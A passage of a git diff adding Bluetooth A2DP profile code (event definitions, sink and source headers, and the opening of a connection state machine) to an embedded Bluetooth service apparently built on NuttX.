PEER_STREAM_START_REQ, + CONNECTED_EVT, + DISCONNECTED_EVT, + STREAM_STARTED_EVT, + STREAM_SUSPENDED_EVT, + STREAM_CLOSED_EVT, + STREAM_MTU_CONFIG_EVT, +#ifdef CONFIG_BLUETOOTH_A2DP_PEER_PARTIAL_RECONN + PEER_PARTIAL_RECONN_EVT, +#endif + CODEC_CONFIG_EVT, + DEVICE_CODEC_STATE_CHANGE_EVT, + DATA_IND_EVT, + CONNECT_TIMEOUT, + START_TIMEOUT, + STREAM_SUSPEND_DELAY, + OFFLOAD_START_REQ, + OFFLOAD_STOP_REQ, + OFFLOAD_START_EVT, + OFFLOAD_STOP_EVT, + OFFLOAD_TIMEOUT, +} a2dp_event_type_t; + +typedef struct +{ + bt_address_t bd_addr; + uint8_t peer_sep; + uint16_t mtu; + uint16_t acl_hdl; + uint16_t l2c_rcid; + size_t size; + void* data; + void* cb; + a2dp_sink_packet_t* packet; +} a2dp_event_data_t; + +typedef struct +{ + a2dp_event_type_t event; + a2dp_event_data_t event_data; +} a2dp_event_t; + +a2dp_event_t* a2dp_event_new(a2dp_event_type_t event, bt_address_t* bd_addr); +a2dp_event_t* a2dp_event_new_ext(a2dp_event_type_t event, bt_address_t* bd_addr, + void* data, size_t size); +void a2dp_event_destory(a2dp_event_t* a2dp_event); + +#endif diff --git a/service/profiles/a2dp/a2dp_sink.h b/service/profiles/a2dp/a2dp_sink.h new file mode 100644 index 0000000000000000000000000000000000000000..b57a40b2a8329c744590ca7080a4ed8afb29d7c6 --- /dev/null +++ b/service/profiles/a2dp/a2dp_sink.h @@ -0,0 +1,57 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_SINK_H__ +#define __A2DP_SINK_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <pthread.h> + +#include "bt_list.h" +#include "callbacks_list.h" + +#include "a2dp_codec.h" +#include "a2dp_device.h" +#include "a2dp_event.h" +#include "bt_a2dp_sink.h" + +a2dp_peer_t* a2dp_sink_find_peer(bt_address_t* addr); +bool a2dp_sink_stream_ready(void); +bool a2dp_sink_stream_started(void); +void a2dp_sink_codec_state_change(void); + +void a2dp_sink_service_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); +void a2dp_sink_service_notify_audio_state_changed(bt_address_t* addr, a2dp_audio_state_t state); +void a2dp_sink_service_notify_audio_sink_config_changed(bt_address_t* addr); + +#endif diff --git a/service/profiles/a2dp/a2dp_sink_audio.h b/service/profiles/a2dp/a2dp_sink_audio.h new file mode 100644 index 0000000000000000000000000000000000000000..0b7b7e4e519ea7e8454bddb4add6df21ce01fdb7 --- /dev/null +++ b/service/profiles/a2dp/a2dp_sink_audio.h @@ -0,0 +1,68 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_SINK_AUDIO_H__ +#define __A2DP_SINK_AUDIO_H__ + +#include "bluetooth_define.h" +#include "bt_list.h" + +typedef struct { + struct list_node node; + uint32_t time_stamp; + uint16_t seq; + uint16_t length; + uint8_t data[0]; +} a2dp_sink_packet_t; + +typedef struct { + a2dp_sink_packet_t* (*repackage)(uint8_t* data, uint16_t length); + void (*packet_send_done)(a2dp_sink_packet_t* packet); +} a2dp_sink_stream_interface_t; + +a2dp_sink_packet_t* a2dp_sink_new_packet(uint32_t timestamp, + uint16_t seq, uint8_t* data, uint16_t length); +void a2dp_sink_packet_recieve(a2dp_sink_packet_t* packet); +bool a2dp_sink_on_connection_changed(bool connected); +void a2dp_sink_on_started(bool started); +void a2dp_sink_on_stopped(void); +void a2dp_sink_prepare_suspend(void); +void a2dp_sink_mute(void); +void a2dp_sink_resume(void); +void a2dp_sink_setup_codec(bt_address_t* bd_addr); +void a2dp_sink_audio_init(void); +void a2dp_sink_audio_cleanup(void); + +extern const a2dp_sink_stream_interface_t* get_a2dp_sink_sbc_stream_interface(void); +extern const a2dp_sink_stream_interface_t* get_a2dp_sink_aac_stream_interface(void); + +#endif diff --git a/service/profiles/a2dp/a2dp_source.h b/service/profiles/a2dp/a2dp_source.h new file mode 100644 index 0000000000000000000000000000000000000000..cdb0282fb85e31001bca78057267dc585c806352 --- /dev/null +++ b/service/profiles/a2dp/a2dp_source.h @@ -0,0 +1,54 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_SOURCE_H__ +#define __A2DP_SOURCE_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "a2dp_device.h" +#include "bt_a2dp_source.h" +#include "bt_list.h" + +void a2dp_source_stream_start(void); +void a2dp_source_stream_prepare_suspend(void); +void a2dp_source_stream_stop(void); +void a2dp_source_codec_state_change(void); +bool a2dp_source_stream_ready(void); +bool a2dp_source_stream_started(void); +a2dp_peer_t* a2dp_source_find_peer(bt_address_t* addr); +a2dp_peer_t* a2dp_source_active_peer(void); + +void a2dp_source_service_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); +void a2dp_source_service_notify_audio_state_changed(bt_address_t* addr, a2dp_audio_state_t state); +void a2dp_source_service_notify_audio_source_config_changed(bt_address_t* addr); +#endif diff --git a/service/profiles/a2dp/a2dp_source_audio.h b/service/profiles/a2dp/a2dp_source_audio.h new file mode 100644 index 0000000000000000000000000000000000000000..4567dd16f90cfcbf61153442484d59128a7fe8a1 --- /dev/null +++ b/service/profiles/a2dp/a2dp_source_audio.h @@ -0,0 +1,74 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_SOURCE_AUDIO_H__ +#define __A2DP_SOURCE_AUDIO_H__ + +#include "a2dp_codec.h" +#include "bluetooth_define.h" +#include "bt_vendor.h" + +#define AVDT_MEDIA_OFFSET 23 +#define MAX_2MBPS_AVDTP_MTU 663 // 2DH5 MTU=679, -12 for AVDTP, -4 for L2CAP +#define MAX_3MBPS_AVDTP_MTU 1005 // 3DH5 MTU=1021, -12 for AVDTP, -4 for L2CAP + +typedef void (*frame_send_callback)(uint8_t* buf, uint16_t nbytes, uint8_t nb_frames, uint64_t timestamp); +typedef int (*frame_read_callback)(uint8_t* buf, uint16_t frame_len); + +typedef struct { + void (*init)(void* param, uint32_t mtu, + frame_send_callback send_cb, + frame_read_callback read_cb); + void (*reset)(void); + void (*cleanup)(void); + void (*send_frames)(uint16_t header_reserve, uint64_t timestamp); + int (*get_interval_ms)(void); + int (*get_min_frame_size)(void); +} a2dp_source_stream_interface_t; + +void a2dp_source_audio_init(bool offloading); +void a2dp_source_audio_cleanup(void); +bool a2dp_source_on_connection_changed(bool connected); +void a2dp_source_on_started(bool started); +void a2dp_source_on_stopped(void); +bool a2dp_source_prepare_start(void); +void a2dp_source_prepare_suspend(void); +bool a2dp_source_is_streaming(void); +void a2dp_source_setup_codec(bt_address_t* bd_addr); +int a2dp_source_sbc_update_config(uint32_t mtu, sbc_param_t* param, uint8_t* codec_info); +int a2dp_source_aac_update_config(uint32_t mtu, aac_encoder_param_t* param, uint8_t* codec_info); +bool a2dp_source_sbc_get_offload_config(a2dp_codec_config_t* codec, a2dp_offload_config_t* offload); + +extern const a2dp_source_stream_interface_t* get_a2dp_source_sbc_stream_interface(void); +extern const a2dp_source_stream_interface_t* get_a2dp_source_aac_stream_interface(void); + +#endif diff --git a/service/profiles/a2dp/a2dp_state_machine.c b/service/profiles/a2dp/a2dp_state_machine.c new file mode 100644 index 0000000000000000000000000000000000000000..a090045d5407d9dce252f054bf926cc6768dbbca --- /dev/null +++ b/service/profiles/a2dp/a2dp_state_machine.c @@ -0,0 +1,1127 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif +#include <debug.h> +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "sal_a2dp_sink_interface.h" +#include "sal_a2dp_source_interface.h" +#include "sal_avrcp_control_interface.h" +#include "sal_avrcp_target_interface.h" +#include "sal_interface.h" + +#include "a2dp_audio.h" +#include "a2dp_control.h" +#include "a2dp_event.h" +#include "a2dp_sink.h" +#include "a2dp_source.h" +#include "a2dp_state_machine.h" +#include "adapter_internel.h" +#include "audio_control.h" +#include "bt_avrcp.h" +#include "bt_dfx.h" +#include "bt_utils.h" +#include "connection_manager.h" +#include "hci_parser.h" +#include "media_system.h" +#include "power_manager.h" +#include "state_machine.h" + +#include "service_loop.h" + +#define LOG_TAG "a2dp_stm" +#include "utils/log.h" + +#ifndef CONFIG_BLUETOOTH_A2DP_CONNECT_TIMEOUT +#define A2DP_CONNECT_TIMEOUT 6000 +#else +#define A2DP_CONNECT_TIMEOUT (CONFIG_BLUETOOTH_A2DP_CONNECT_TIMEOUT * 1000) +#endif +#define A2DP_START_TIMEOUT 5000 +#define A2DP_SUSPEND_TIMEOUT 5000 +#define A2DP_DELAY_START 100 +#define A2DP_OFFLOAD_TIMEOUT 500 +#define AVRCP_TG_START_TIMEOUT 2000 + +typedef enum pending_state { + PENDING_NONE = 0x0, + PENDING_START = 0X02, + PENDING_STOP = 0x04, + PENDING_OFFLOAD_START = 0x08, + PENDING_OFFLOAD_STOP = 0x10, +} pending_state_t; + +typedef struct _a2dp_state_machine { + state_machine_t sm; + void* service; + bt_address_t addr; + uint16_t acl_handle; + pending_state_t pending; + bool audio_ready; + uint8_t peer_sep; + service_timer_t* connect_timer; + service_timer_t* start_timer; + service_timer_t* avrcp_timer; + service_timer_t* delay_start_timer; + service_timer_t* offload_timer; +} a2dp_state_machine_t; + +typedef struct { + a2dp_state_machine_t* a2dp_sm; + a2dp_event_t* a2dp_event; +} a2dp_inter_event_t; + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +extern void do_in_a2dp_service(a2dp_event_t* a2dp_event); +#endif + +static void idle_enter(state_machine_t* sm); +static void idle_exit(state_machine_t* sm); +static void opening_enter(state_machine_t* sm); +static void opening_exit(state_machine_t* sm); +static void opened_enter(state_machine_t* sm); +static void opened_exit(state_machine_t* sm); +static void started_enter(state_machine_t* sm); +static void started_exit(state_machine_t* sm); +static void closing_enter(state_machine_t* sm); +static void closing_exit(state_machine_t* sm); + +static bool idle_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool opening_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool opened_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool started_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool closing_process_event(state_machine_t* sm, uint32_t event, void* p_data); + +static bool flag_isset(a2dp_state_machine_t* a2dp_sm, pending_state_t flag); +static void flag_set(a2dp_state_machine_t* a2dp_sm, pending_state_t flag); +static void flag_clear(a2dp_state_machine_t* a2dp_sm, pending_state_t flag); + +static const state_t idle_state = { + .state_name = "Idle", + .state_value = A2DP_STATE_IDLE, + .enter = idle_enter, + .exit = idle_exit, + .process_event = idle_process_event, +}; + +static const state_t opening_state = { + .state_name = "Opening", + .state_value = A2DP_STATE_OPENING, + .enter = opening_enter, + .exit = opening_exit, + .process_event = opening_process_event, +}; + +static const state_t opened_state = { + .state_name = "Opened", + .state_value = A2DP_STATE_OPENED, + .enter = opened_enter, + .exit = opened_exit, + .process_event = opened_process_event, +}; + +static const state_t started_state = { + .state_name = "Started", + .state_value = A2DP_STATE_STARTED, + .enter = started_enter, + .exit = started_exit, + .process_event = started_process_event, +}; + +static const state_t closing_state = { + .state_name = "Closing", + .state_value = A2DP_STATE_CLOSING, + .enter = closing_enter, + .exit = closing_exit, + .process_event = closing_process_event, +}; + +#define A2DP_STM_DEBUG 1 +#if A2DP_STM_DEBUG +static char* stack_event_to_string(a2dp_event_type_t event); + +#define A2DP_TRANS_DBG(_sm, _addr, _action) \ + do { \ + char __addr_str[BT_ADDR_STR_LENGTH] = { 0 }; \ + bt_addr_ba2str(_addr, __addr_str); \ + BT_LOGD("%s State=%s, Peer=[%s]", _action, hsm_get_current_state_name(sm), __addr_str); \ + } while (0); + +#define A2DP_DBG_ENTER(__sm, __addr) A2DP_TRANS_DBG(__sm, __addr, "Enter") +#define A2DP_DBG_EXIT(__sm, __addr) A2DP_TRANS_DBG(__sm, __addr, "Exit ") +#define A2DP_DBG_EVENT(__sm, __addr, __event) \ + do { \ + char __addr_str[BT_ADDR_STR_LENGTH] = { 0 }; \ + bt_addr_ba2str(__addr, __addr_str); \ + if (__event != DATA_IND_EVT) \ + BT_LOGD("ProcessEvent, State=%s, Peer=[%s], Event=%s", hsm_get_current_state_name(sm), \ + __addr_str, stack_event_to_string(event)); \ + } while (0); +#else +#define A2DP_DBG_ENTER(__sm, __addr) +#define A2DP_DBG_EXIT(__sm, __addr) +#define A2DP_DBG_EVENT(__sm, __addr, __event) +#endif + +#if A2DP_STM_DEBUG +static char* stack_event_to_string(a2dp_event_type_t event) +{ + switch (event) { + CASE_RETURN_STR(CONNECT_REQ) + CASE_RETURN_STR(DISCONNECT_REQ) + CASE_RETURN_STR(STREAM_START_REQ) + CASE_RETURN_STR(DELAY_STREAM_START_REQ) + CASE_RETURN_STR(STREAM_SUSPEND_REQ) + CASE_RETURN_STR(CONNECTED_EVT) + CASE_RETURN_STR(DISCONNECTED_EVT) + CASE_RETURN_STR(STREAM_STARTED_EVT) + CASE_RETURN_STR(STREAM_SUSPENDED_EVT) + CASE_RETURN_STR(STREAM_CLOSED_EVT) +#ifdef CONFIG_BLUETOOTH_A2DP_PEER_PARTIAL_RECONN + CASE_RETURN_STR(PEER_PARTIAL_RECONN_EVT) +#endif + CASE_RETURN_STR(CODEC_CONFIG_EVT) + CASE_RETURN_STR(DEVICE_CODEC_STATE_CHANGE_EVT) + CASE_RETURN_STR(DATA_IND_EVT) + CASE_RETURN_STR(CONNECT_TIMEOUT) + CASE_RETURN_STR(START_TIMEOUT) + CASE_RETURN_STR(OFFLOAD_START_REQ) + CASE_RETURN_STR(OFFLOAD_STOP_REQ) + CASE_RETURN_STR(OFFLOAD_START_EVT) + CASE_RETURN_STR(OFFLOAD_STOP_EVT) + CASE_RETURN_STR(OFFLOAD_TIMEOUT) + default: + return "UNKNOWN_EVENT"; + } +} +#endif + +static void a2dp_report_connection_state(a2dp_state_machine_t* stm, bt_address_t* addr, profile_connection_state_t state) +{ + BT_LOGD("%s, addr:%s, state: %d", __func__, bt_addr_str(addr), state); + + if (stm->peer_sep == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_service_notify_connection_state_changed(addr, state); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + /* is active device? */ + if (state == PROFILE_STATE_DISCONNECTED) { + if (bt_media_set_a2dp_unavailable() != BT_STATUS_SUCCESS) + BT_LOGE("set A2DP unavailable fail"); + } + a2dp_source_service_notify_connection_state_changed(addr, state); +#endif + } +} + +static void a2dp_report_audio_state(a2dp_state_machine_t* stm, bt_address_t* addr, a2dp_audio_state_t state) +{ + BT_LOGD("%s, addr:%s, state: %d", __func__, bt_addr_str(addr), state); + + if (stm->peer_sep == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_service_notify_audio_state_changed(addr, state); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + /* handle device change ? */ + a2dp_source_service_notify_audio_state_changed(addr, state); +#endif + } +} + +static void a2dp_report_audio_config_state(a2dp_state_machine_t* stm, bt_address_t* addr) +{ + BT_LOGD("%s, addr:%s", __func__, bt_addr_str(addr)); + + if (stm->peer_sep == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_service_notify_audio_sink_config_changed(addr); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (bt_media_set_a2dp_available() != BT_STATUS_SUCCESS) + BT_LOGE("set A2DP available fail"); + a2dp_source_service_notify_audio_source_config_changed(addr); +#endif + } +} + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)context; + a2dp_event_t* a2dp_event; + a2dp_event_type_t event; + + BT_LOGD("%s, evt_code:0x%x, len:%d", __func__, hci_event->evt_code, + hci_event->length); + BT_DUMPBUFFER("vsc", (uint8_t*)hci_event->params, hci_event->length); + + if (flag_isset(a2dp_sm, PENDING_OFFLOAD_START)) { + event = OFFLOAD_START_EVT; + flag_clear(a2dp_sm, PENDING_OFFLOAD_START); + } else if (flag_isset(a2dp_sm, PENDING_OFFLOAD_STOP)) { + event = OFFLOAD_STOP_EVT; + flag_clear(a2dp_sm, PENDING_OFFLOAD_STOP); + } else { + return; + } + + a2dp_event = a2dp_event_new_ext(event, &a2dp_sm->addr, hci_event, sizeof(bt_hci_event_t) + hci_event->length); + do_in_a2dp_service(a2dp_event); +#endif +} + +static void a2dp_connect_timeout_callback(service_timer_t* timer, void* data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)data; + a2dp_event_t* a2dp_event; + + BT_DFX_A2DP_CONN_ERROR(BT_DFXE_A2DP_CONN_TIMEOUT); + a2dp_event = a2dp_event_new(CONNECT_TIMEOUT, &a2dp_sm->addr); + a2dp_state_machine_handle_event(a2dp_sm, a2dp_event); + a2dp_event_destory(a2dp_event); +} + +static void a2dp_start_timeout_callback(service_timer_t* timer, void* data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)data; + a2dp_event_t* a2dp_event; + + a2dp_event = a2dp_event_new(START_TIMEOUT, &a2dp_sm->addr); + a2dp_state_machine_handle_event(a2dp_sm, a2dp_event); + a2dp_event_destory(a2dp_event); +} + +static void a2dp_delay_start_timeout_callback(service_timer_t* timer, void* data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)data; + a2dp_event_t* a2dp_event; + + a2dp_event = a2dp_event_new(DELAY_STREAM_START_REQ, &a2dp_sm->addr); + a2dp_state_machine_handle_event(a2dp_sm, a2dp_event); + a2dp_event_destory(a2dp_event); +} + +static void a2dp_offload_config_timeout_callback(service_timer_t* timer, void* data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)data; + a2dp_event_t* a2dp_event; + + BT_DFX_A2DP_OFFLOAD_ERROR(BT_DFXE_OFFLOAD_START_TIMEOUT); + a2dp_event = a2dp_event_new(OFFLOAD_TIMEOUT, &a2dp_sm->addr); + a2dp_state_machine_handle_event(a2dp_sm, a2dp_event); + a2dp_event_destory(a2dp_event); +} + +static bt_status_t a2dp_offload_send_stop_cmd(a2dp_state_machine_t* a2dp_sm, + a2dp_event_data_t* data) +{ + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + + payload = data->data; + len = data->size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload) + STREAM_TO_UINT16(ocf, payload); + flag_set(a2dp_sm, PENDING_OFFLOAD_STOP); + + return bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, a2dp_sm); +} + +static bool flag_isset(a2dp_state_machine_t* a2dp_sm, pending_state_t flag) +{ + return (bool)(a2dp_sm->pending & flag); +} + +static void flag_set(a2dp_state_machine_t* a2dp_sm, pending_state_t flag) +{ + a2dp_sm->pending |= flag; +} + +static void flag_clear(a2dp_state_machine_t* a2dp_sm, pending_state_t flag) +{ + a2dp_sm->pending &= ~flag; +} + +static void idle_enter(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + const state_t* prev_state = hsm_get_previous_state(sm); + + A2DP_DBG_ENTER(sm, &a2dp_sm->addr); + + a2dp_sm->audio_ready = false; + if (prev_state != NULL) { + bt_pm_conn_close(PROFILE_A2DP, &a2dp_sm->addr); + if (a2dp_sm->peer_sep == SEP_SRC) { +#if defined(CONFIG_BLUETOOTH_A2DP_SINK) && defined(CONFIG_BLUETOOTH_CONNECTION_MANAGER) + bt_cm_disconnected(&a2dp_sm->addr, PROFILE_A2DP_SINK); +#endif + } + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, + PROFILE_STATE_DISCONNECTED); + if (a2dp_sm->avrcp_timer) { + service_loop_cancel_timer(a2dp_sm->avrcp_timer); + a2dp_sm->avrcp_timer = NULL; + } + } +} + +static void idle_exit(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_EXIT(sm, &a2dp_sm->addr); +} + +static bool idle_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + a2dp_event_data_t* data = (a2dp_event_data_t*)p_data; + + A2DP_DBG_EVENT(sm, &a2dp_sm->addr, event); + switch (event) { + case CONNECT_REQ: { + bt_status_t status; + if (a2dp_sm->peer_sep == SEP_SNK) + status = bt_sal_a2dp_source_connect(PRIMARY_ADAPTER, &data->bd_addr); + else + status = bt_sal_a2dp_sink_connect(PRIMARY_ADAPTER, &data->bd_addr); + if (status != BT_STATUS_SUCCESS) { + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, + PROFILE_STATE_DISCONNECTED); + break; + } + hsm_transition_to(sm, &opening_state); + break; + } + + case CONNECTED_EVT: + hsm_transition_to(sm, &opened_state); + break; + +#ifdef CONFIG_BLUETOOTH_A2DP_PEER_PARTIAL_RECONN + case PEER_PARTIAL_RECONN_EVT: + if (a2dp_sm->peer_sep == SEP_SNK) { + bt_status_t status; + status = bt_sal_a2dp_source_connect(PRIMARY_ADAPTER, &data->bd_addr); + if (status != BT_STATUS_SUCCESS) { + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, + PROFILE_STATE_DISCONNECTED); + } + } + break; +#endif + + case OFFLOAD_STOP_REQ: + a2dp_offload_send_stop_cmd(a2dp_sm, data); + break; + + case OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_A2DP, A2DP_CTRL_EVT_STOPPED); + break; + + default: + break; + } + + return true; +} + +static void opening_enter(state_machine_t* sm) +{ + 